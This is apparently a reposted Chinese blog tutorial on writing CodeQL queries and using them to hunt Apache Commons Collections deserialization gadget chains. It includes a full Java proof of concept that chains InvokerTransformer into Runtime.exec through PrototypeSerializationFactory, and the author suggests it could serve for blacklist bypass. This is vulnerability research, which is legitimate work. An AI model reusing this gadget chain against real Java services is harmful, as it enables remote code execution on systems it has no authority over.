主頁 >  其他 > 細談使用CodeQL進行反序列化鏈的挖掘程序

細談使用CodeQL進行反序列化鏈的挖掘程序

2023-05-23 08:32:59 其他

此文章在SecIN安全技術社區首發

前言

學習了一下CodeQL的各種使用方式,決定使用CodeQL細談一下CC鏈挖掘,通過一步一步的朝著我們既定的目標進行靠近,最終成功的找到了一條雞肋的二次反序列化的入口

前奏

CodeQL本身包含兩部分決議引擎+ SDK ,

決議引擎用來決議我們撰寫的規則,雖然不開源,但是我們可以直接在官網下載二進制檔案直接使用,

 SDK 完全開源,里面包含大部分現成的漏洞規則,我們也可以利用其撰寫自定義規則

安裝

下載CodeQL執行程式

將SDK下載到同目錄

cd ~/CodeQL&git clone https://github.com/Semmle/ql

之后將執行程式添加進入環境變數

然后再VScode中安裝CodeQL插件,之后配置擴展,如果添加了環境變數就直接為空,沒有添加就輸入對應可執行檔案的路徑

簡單使用

基本語法

型別
  1. 字符型別

String

存在類似于 CharAt(0) 的內置函式

  1. 整型與浮點型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  2. 日期型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  3. 布爾型

https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string

從未被使用的引數
import java

from Parameter p
where not exists( p.getAnAccess() )
select p
聚合使用
from Person t
where t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i)
select t

select max(Person p | | p order by p.getAge())

min(Person p | p.getLocation() = "east" | p order by p.getHeight())

count(Person p | p.getLocation() = "south" | p)

avg(Person p | | p.getHeight())

sum(Person p | p.getHairColor() = "brown" | p.getAge())

 

生成Database

Creating CodeQL databases — CodeQL (github.com)

codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/
# 如何mvn編譯報錯使用 mvn compile -fn忽略錯誤
閉源構建資料庫

閉源專案創建資料庫,可以使用該工具:https://github.com/ice-doom/codeql_compile

  • https://github.com/waderwu/extractor-java
    同樣可以在windows中使用,將run.py中的codeql_home手工修改,而不是使用which命令得到路徑
構建JDK

(34條訊息) 編譯OpenJDK8并生成CodeQL資料庫_n0body-mole的博客-CSDN博客

匯入Database

和SQL語言一樣,我們執行QL查詢,肯定是要先指定一個資料庫才可以,

選中插件,之后配置生成的資料庫

類別庫

名稱解釋
Method 方法類,Method method表示獲取當前專案中所有的方法
MethodAccess 方法呼叫類,MethodAccess call表示獲取當前專案當中的所有方法呼叫
Parameter 引數類,Parameter表示獲取當前專案當中所有的引數

簡單使用

Method內置方法
method.getName() 獲取的是當前方法的名稱
method.getDeclaringType() 獲取的是當前方法所屬class的名稱,
method.hasName() 判斷是否有該方法
    
import java

from Method method
where method.hasName("getStudent")
select method.getName(), method.getDeclaringType()

 

謂詞
predicate 表示當前方法沒有回傳值,
exists子查詢,是CodeQL謂詞語法里非常常見的語法結構,它根據內部的子查詢回傳true or false,來決定篩選出哪些資料,
    
import java

predicate isStudent(Method method) {
exists(|method.hasName("getStudent"))
}

from Method method
where isStudent(method)
select method.getName(), method.getDeclaringType()

//沒有結果的謂詞
predicate isSmall(int i) {
  i in [1 .. 9]
}
//帶有回傳結果的謂詞
int getSuccessor(int i) {
  result = i + 1 and
  i in [1 .. 9]
} //如果i是小于10的正整數,那么謂詞的回傳結果就是i后面的那個整數     

設定Source Sink

什么是source和sink
在代碼自動化安全審計的理論當中,有一個最核心的三元組概念,就是(source,sink和sanitizer),
source是指漏洞污染鏈條的輸入點,比如獲取http請求的引數部分,就是非常明顯的Source,
sink是指漏洞污染鏈條的執行點,比如SQL注入漏洞,最終執行SQL陳述句的函式就是sink(這個函式可能叫query或者exeSql,或者其它),
sanitizer又叫凈化函式,是指在整個的漏洞鏈條當中,如果存在一個方法阻斷了整個傳遞鏈,那么這個方法就叫sanitizer,
設定source
override predicate isSource(DataFlow::Node src) {}

// 通用的source入口規則
override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }

 

設定Sink
override predicate isSink(DataFlow::Node sink) {

  }

// 查找一個query()方法的呼叫點,并把它的第一個引數設定為sink
override predicate isSink(DataFlow::Node sink) {
exists(Method method, MethodAccess call |
  method.hasName("query")
  and
  call.getMethod() = method and
  sink.asExpr() = call.getArgument(0)
)
}

Flow資料流

連通作業就是CodeQL引擎本身來完成的,我們通過使用config.hasFlowPath(source, sink)方法來判斷是否連通,

from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"

//我們傳遞給config.hasFlowPath(source, sink)我們定義好的source和sink,系統就會自動幫我們判斷是否存在漏洞了

命令列持續化使用規則

在撰寫了相應規則之后,就可以直接在命令列行中執行規則,檢測其他專案

首先生成 Database 

之后通過我們撰寫的規則進行分析,輸出為CSV檔案

codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun

實體

使用jdbcTemplate.query方法的SQL注入

import java 
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.QueryInjection
import DataFlow::PathGraph

class VulConfig extends TaintTracking::Configuration {
    VulConfig() { this = "SqlinjectionConfig" }
    
    override predicate isSource(DataFlow::Node source) {
        source instanceof RemoteFlowSource
    }
    
    override predicate isSink(DataFlow::Node sink) {
        exists(Method method, MethodAccess call | 
            method.hasName("query")
            and call.getMethod() = method
            and sink.asExpr() = call.getArgument(0))
    }
}

from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sink
where vulconfig.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"
報錯解決

如果存在Source位置是List<Long> param型別的傳參,這里是不可能存在SQL注入的我們可以使用TaintTracking::Configuration提供的凈化方法isSanitizer

override predicate isSanitizer(DataFlow::Node node) {
    node.getType() instanceof PrimitiveType or
    node.getType() instanceof BoxedType or
    node.getType() instanceof NumberType or
    exists(ParameterizedType pt | node.getType() = pt and
    pt.getTypeArgument(0) instanceof NumberType)
}

復雜使用

instanceof優化查詢結構

我們可以使用exists(|)這種子查詢的方式定義source和sink,但是如果source/sink特別復雜(比如我們為了規則通用,可能要適配springboot, Thrift RPC,Servlet等source),如果我們把這些都在一個子查詢內完成,比如 condition 1 or conditon 2 or condition 3, 這樣一直下去,我們可能后面都看不懂了,更別說可維護性了,

instanceof給我們提供了一種機制,我們只需要定義一個abstract class

比如 RemoteFlowSource 抽象類的撰寫

/** A data flow source of remote user input. */
abstract class RemoteFlowSource extends DataFlow::Node {
  /** Gets a string that describes the type of this remote flow source. */
  abstract string getSourceType();
}

CodeQL和Java不太一樣,只要我們的子類繼承了這個RemoteFlowSource類,那么所有子類就會被呼叫,它所代表的source也會被加載

存在非常多繼承這個抽象類的子類,所以他們的結果會被and串聯在一起

遞回查詢

CodeQL里面的遞回呼叫語法是:在謂詞方法的后面跟*或者+,來表示呼叫0次以上和1次以上(和正則類似),0次會列印自己

在Java語言里,我們可以使用class嵌套class,多個內嵌class的時候,我們需要知道最外層的class是什么怎么辦?

非遞回,知道嵌套的層數:

import java

from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType().getEnclosingType()   // getEnclosingtype獲取作用域

使用遞回語法

from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType+()   // 獲取作用域

代碼分析平臺CodeQL學習手記(七) - 嘶吼 RoarTalk – 回歸最本質的資訊安全,互聯網安全新媒體,4hou.com

強制型別轉換

import java

from Parameter param
select param, param.getType().(IntegralType) //篩選出getType方法符合后面了型別的結果

正文

這里主要是探討由transform呼叫層面的挖掘

transform

我們通過codeql尋找transform方法的呼叫

class TransformCallable extends Callable {
    TransformCallable() {
        this.getName().matches("transform") and
        this.getNumberOfParameters() = 1
    }
}

wKg0C2OQmfCAHb5sAACdj8eFfo340.png

可以看出來結果挺多的,之后我們人工排查一下

TransformedCollection

在 TransformedCollection#transform 的呼叫中存在可以呼叫其他transformer的transform方法的邏輯

wKg0C2OQmhOAHSmKAADu373hdWw173.png

沒啥用,都已經可以呼叫任意transform了,還需要這一步嗎?

ChainedTransformer

在 ChainedTransformer#transform 方法中存在 iTransformers 中的所有的transform的呼叫,這里也就是yoserial專案中的利用鏈**
**wKg0C2OQmi6AN5QlAACJOo4hd2M414.png

CloneTransformer

在 CloneTransformer#transform 方法中存在, PrototypeFactory類實體化之后呼叫了create方法

wKg0C2OQmjyABN5yAAAy9QtFecQ908.png

我們跟進一下

wKg0C2OQmkAFB94AACZlNbOHUc878.png

代碼中表示如果需要transformer的類存在clone方法,就會回傳一個 new PrototypeCloneFactory 物件,之后呼叫他的create方法,如果沒有就會進入catch陳述句,回傳一個 new InstantiateFactory 物件,但是這里因為在其類中的create方法中引數不可控不能夠利用

wKg0C2OQml6AY1EFAABIyNAOtLs625.png

ClosureTransformer

在 ClosureTransformer#transform 方法中,存在 Closure#execute 方法的呼叫
wKg0C2OQmmiAX30XAAAxluZ2x0o730.png

Closure#execute

我們來查找一下有沒有可用的實作了 org.apache.commons.collections.Closure 介面的類的execute呼叫

class ClosureCallable extends Callable {
    ClosureCallable() {
        this.getName().matches("execute") and
        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")
    }
}

wKg0C2OQmoGAdxTHAABNH5fjkFQ391.png

我們一個一個來看下對應的execute方法

大概看了一下,發現不是 this.iClosure.execute(input) 呼叫就是 this.iPredicate.evaluate(input) 

只有一個 TransformerClosure#execute 方法中呼叫了transform,但是也不能形成利用鏈,最多算一個中轉

ConstantTransformer

在 ConstantTransformer#transform 方法中,將會回傳一個構造方法,同樣在yoserial中有所利用

FactoryTransformer

在 FactoryTransformer#transform 方法中,呼叫了 Factory 介面的類的create方法
查看一下滿足條件的類把

Factory#create
class FactoryCallable extends Callable {
    FactoryCallable() {
        this.getName().matches("create") and
        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory")
    }
}

wKg0C2OQmpaAGG3UAABNOgYYqxg832.png

進入看一看

InstantiateFactory

這里有一個 InstantiateFactory 類,好生熟悉,這不就是之前那篇文章中的CC鏈的挖掘,在其create方法中存在建構式的實體化

wKg0C2OQmqCANKzSAABsTfRQ4NE207.png

例如已知的 InstantiateFactory , 我們嘗試挖掘一下

類似其中會呼叫TemplateImpl#newTransformer方法

/**
 * @kind path-problem
 */
import java

class ConstructCallable extends Callable {
    ConstructCallable() {
        this instanceof Constructor
    }
}

class MethodCallable extends Callable {
    MethodCallable() {
        this.getName().matches("newTransformer") and
        this.getDeclaringType().getName().matches("TemplatesImpl")
    }
}

query predicate edges(Callable a, Callable b) {
    a.polyCalls(b)
}

from MethodCallable endcall, ConstructCallable entrypoint
where edges+(entrypoint, endcall)
select endcall, entrypoint, endcall, "find Contructor in jdk"

 

wKg0C2OQmrSACXtAAA69bCFS74258.png

很合理我們得到了這個構造方法

雖然這里的 iConstructor 屬性被 transient 修飾,但是在findConstructor中存在賦值

PrototypeSerializationFactory

之后有一個類為 PrototypeSerializationFactory 他是一個靜態內部類
wKg0C2OQmsSAc3u4AADx1qlyMFw194.png

剛開始看的時候覺得這不純純一個二次反序列化的入口嗎,直接跟進一下子代碼

在其建構式中有對 iPrototype 屬性的賦值操作
我們可以嘗試直接將CC6拼接上去

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_plus_plus {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

 public static void main(String[] args) throws Exception{
        //仿照ysoserial中的寫法,防止在本地除錯的時候觸發命令
        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map outMap = LazyMap.decorate(innerMap, transformerChain);

        //實體化
        TiedMapEntry tme = new TiedMapEntry(outMap, "key");
        Map expMap = new HashMap();
        //將其作為key鍵傳入
        expMap.put(tme, "value");

        //remove
        outMap.remove("key");

 //傳入利用鏈
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        Class c;
        c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
        Constructor constructor = c.getDeclaredConstructor(Serializable.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(expMap);

        FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o);

        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        Map innerMap1 = new HashMap();
        LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer);

        TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey");

        Map expMap1 = new HashMap();
        expMap1.put(tme1, "valuevalue");
        setFieldValue(outerMap1,"factory",factoryTransformer);

        outerMap1.remove("keykey");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(expMap);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

 

wKg0C2OQmtaAZJbdAABo92RbJWg137.png

能夠成功執行,好吧,感覺挺雞肋的,但是應該可以結合其他依賴,作為其他反序列入口來打,或者作為一個黑名單繞過

PrototypeCloneFactory

之后又是一個 PrototypeCloneFactory#create 方法中

wKg0C2OQmuaAJlSPAABwEz7UyPo405.png

似乎可以任意方法的呼叫,但是我們注意到

wKg0C2OQmvCAcIloAAA9mg8vbqQ798.png

其被transient修飾,且不像 InstantiateFactory 中存在賦值操作,但是我們同樣可以注意到其在呼叫 findCloneMethod 方法中的時候,取出了對應類的clone方法,如果clone方法有可以利用的是不是就可以形成利用鏈

wKg0C2OQmvyAZXYLAABaU9RODrY142.png

我們查找一下clone方法存在的類

import java

class CloneCallable extends Callable{
    CloneCallable() {
        this.getName().matches("clone")
    }
}
from CloneCallable c
select c,c.getBody(), c.getDeclaringType()

wKg0C2OQmwqAKwyGAABCPFC5O5A134.png

在BeanMap中,對應的clone方法中存在newInstance的呼叫且其 beanClass 可控,但是是無參構造方法,無法形成利用鏈

wKg0C2OQmxWAVMK2AAB2yCnIeM379.png

其他的呼叫我簡單看了一下,沒有什么特別的地方

最后一個是 ReflectionFactory 的呼叫,同樣是無參構造方法

InstantiateTransformer

而對于 InstantiateTransformer#transform 方法中可以進行 InvokerTransformer 的替代使用,可以觸發一些類的構造方法
wKg0C2OQmyeAd7GAABYG0ElAzg251.png

比如說 TrAXFilter 

wKg0C2OQm0iAb0PMAABdn298CpU608.png

InvokerTransformer

接下來就是ysoserial中存在的 InvokerTransformer#transform 方法中可以反射呼叫可控的方法
wKg0C2OQm2CAfZsmAABwWV7s5j8273.png

PredicateTransformer

而又在 PredicateTransformer#transform 方法中存在Predicate介面實作類的evaluate方法
wKg0C2OQm3KAOY4AAAvnS8BevU999.png

Predicate#evaluate

淺看一下對應類

import java

class PredicateCallable extends Callable {
    PredicateCallable() {
        this.getName().matches("evaluate") and
        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate")
    }
}

from PredicateCallable c 
select c, c.getBody(), c.getDeclaringType()

wKg0C2OQm4SAbezAABo0eFf4Y982.png

都是一些沒有亮點的東西

SwitchTransformer

之后 SwitchTransformer#transform 方法中,存在有類似 ChainedTransformer#transform 的功能
wKg0C2OQm5KAN02mAAA9mg8vbqQ027.png

但是需要滿足 this.iPredicates[i].evaluate(input)為true ,而且似乎這里只能呼叫一次transform,不能形成鏈子,也沒有了意義

總結

鏈子沒有挖出來什么比較新的鏈子,有一個比較雞肋的二次反序列化的鏈子,但是主要還是體會這種使用靜態分析工具輔助自己進行挖掘新鏈,這次主要是在CC鏈中進行transformer層面的深度挖掘,當然還可以在動態代理等等方面進行深層次的探索,又或者以來其他依賴庫結合進行挖掘利用的方式也是可行的

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/553078.html

標籤:其他

上一篇:Pytest - pytest 命令(2) - 命令引數及含義

下一篇:返回列表

標籤雲
其他(159464) Python(38162) JavaScript(25441) Java(18096) C(15230) 區塊鏈(8267) C#(7972) AI(7469) 爪哇(7425) MySQL(7204) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5871) 数组(5741) R(5409) Linux(5340) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4574) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2433) ASP.NET(2403) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1975) 功能(1967) Web開發(1951) HtmlCss(1940) C++(1919) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1878) .NETCore(1861) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 細談使用CodeQL進行反序列化鏈的挖掘程序

    學習了一下CodeQL的各種使用方式,決定使用CodeQL細談一下CC鏈挖掘,通過一步一步的朝著我們既定的目標進行靠近,最終成功的找到了一條雞肋的二次反序列化的入口 ......

    uj5u.com 2023-05-23 08:32:59 more
  • Pytest - pytest 命令(2) - 命令引數及含義

    ## Pytest 命令 ### pytest 命令引數及含義 **下面串列是執行pytest命令比較常見的一些引數及含義** | 引數 | 含義 | | | | | -q | 輸出的結果縮短顯示 | | -s | 顯示在python程式中的print輸出的內容,如是不加則不會顯示 | | --du ......

    uj5u.com 2023-05-22 07:45:36 more
  • 網格優化Remesh——Tangential Smooth

    一、Laplace平滑 簡單的拉普拉斯平滑演算法的原理是將每個頂點都移動到相鄰頂點的平均位置,即采用所謂傘狀算子: 在傘狀結構中表示這樣的程序如下圖: 拉普拉斯平滑演算法有很多進一步的變形,首先在求取平均位置時,可以采用不同的加權策略,例如對不同的鄰接點采用不同的權值。一般來說,距離中心點P較遠的鄰接點 ......

    uj5u.com 2023-05-22 07:45:19 more
  • CesiumJS 原始碼雜談 - 時間與時鐘系統

    [TOC] 你知道嗎? - Cesium 是元素 **銫** 的英文單詞,而 **銫原子鐘** 具有世界上最高的計時精度 - 時間,是時刻間隔的意思,時刻是靜態的點;而時間就指有起止時刻的一段范圍 - 很多應用都要有一個時鐘,例如 GPS 授時、實時渲染系統,時間可以測量很多事物,萬物運動也體現了時 ......

    uj5u.com 2023-05-22 07:45:04 more
  • HTTPS如何優化?

    由裸資料傳輸的 HTTP 協議轉成加密資料傳輸的 HTTPS 協議,給應用資料套了個「保護傘」,提高安全性的同時也帶來了性能消耗。

    因為 HTTPS 相比 HTTP 協議多一個 TLS 協議握手程序,目的是為了通過非對稱加密握手協商或者交換出對稱加密密鑰,這個程序最長可以花費掉 2 RTT,接著后... ......

    uj5u.com 2023-05-22 07:44:37 more
  • Nginx 入門實戰(5)--location 指令說明

    1、location 指令介紹 1.1、語法 語法 位置 location [ = | ~ | ~* | ^~ ] uri { ... }location @name { ... } server, location 1.2、匹配型別 型別 說明 = 精確匹配 空 或 ^~ 字串匹配 如果 ^~ ......

    uj5u.com 2023-05-22 07:44:18 more
  • Nginx 入門實戰(5)--location 指令說明

    1、location 指令介紹 1.1、語法 語法 位置 location [ = | ~ | ~* | ^~ ] uri { ... }location @name { ... } server, location 1.2、匹配型別 型別 說明 = 精確匹配 空 或 ^~ 字串匹配 如果 ^~ ......

    uj5u.com 2023-05-22 07:43:09 more
  • 網格優化Remesh——Tangential Smooth

    一、Laplace平滑 簡單的拉普拉斯平滑演算法的原理是將每個頂點都移動到相鄰頂點的平均位置,即采用所謂傘狀算子: 在傘狀結構中表示這樣的程序如下圖: 拉普拉斯平滑演算法有很多進一步的變形,首先在求取平均位置時,可以采用不同的加權策略,例如對不同的鄰接點采用不同的權值。一般來說,距離中心點P較遠的鄰接點 ......

    uj5u.com 2023-05-22 07:42:27 more
  • CesiumJS 原始碼雜談 - 時間與時鐘系統

    [TOC] 你知道嗎? - Cesium 是元素 **銫** 的英文單詞,而 **銫原子鐘** 具有世界上最高的計時精度 - 時間,是時刻間隔的意思,時刻是靜態的點;而時間就指有起止時刻的一段范圍 - 很多應用都要有一個時鐘,例如 GPS 授時、實時渲染系統,時間可以測量很多事物,萬物運動也體現了時 ......

    uj5u.com 2023-05-22 07:42:13 more
  • Pytest - pytest 命令(2) - 命令引數及含義

    ## Pytest 命令 ### pytest 命令引數及含義 **下面串列是執行pytest命令比較常見的一些引數及含義** | 引數 | 含義 | | | | | -q | 輸出的結果縮短顯示 | | -s | 顯示在python程式中的print輸出的內容,如是不加則不會顯示 | | --du ......

    uj5u.com 2023-05-22 07:41:28 more